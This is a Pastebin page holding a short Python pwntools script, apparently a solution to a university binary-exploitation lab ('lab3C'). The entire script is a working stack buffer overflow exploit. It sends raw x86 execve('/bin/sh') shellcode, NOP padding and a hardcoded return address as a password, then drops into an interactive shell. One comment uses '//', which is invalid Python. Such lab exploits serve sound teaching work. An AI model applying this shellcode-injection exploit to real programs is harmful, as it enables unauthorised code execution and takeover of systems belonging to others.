PhieuLang

lab3C.py

Mar 10th, 2017
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.54 KB | None | 0 0
  1. from pwn import *
  2. import time
  3.  
  4. def hackIt():
  5.     address_shellcode = 0xffffd5fc // fix this address
  6.     username = "rpisec"
  7.     r = process("./lab3C")
  8.     print "attach %d\ndebug?" % r.pid
  9.     raw_input()
  10.     # r.recvuntil("Enter Username: ")
  11.     r.sendline(username)
  12.     r.recvuntil("Enter Password: ")
  13.    
  14.     shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
  15.     payload = shellcode
  16.     payload += "\x90"*(0x50-len(shellcode))
  17.     payload += p32(address_shellcode)
  18.    
  19.     r.sendline(payload)
  20.     r.interactive()
  21. hackIt()
Advertisement
Add Comment
Please, Sign In to add comment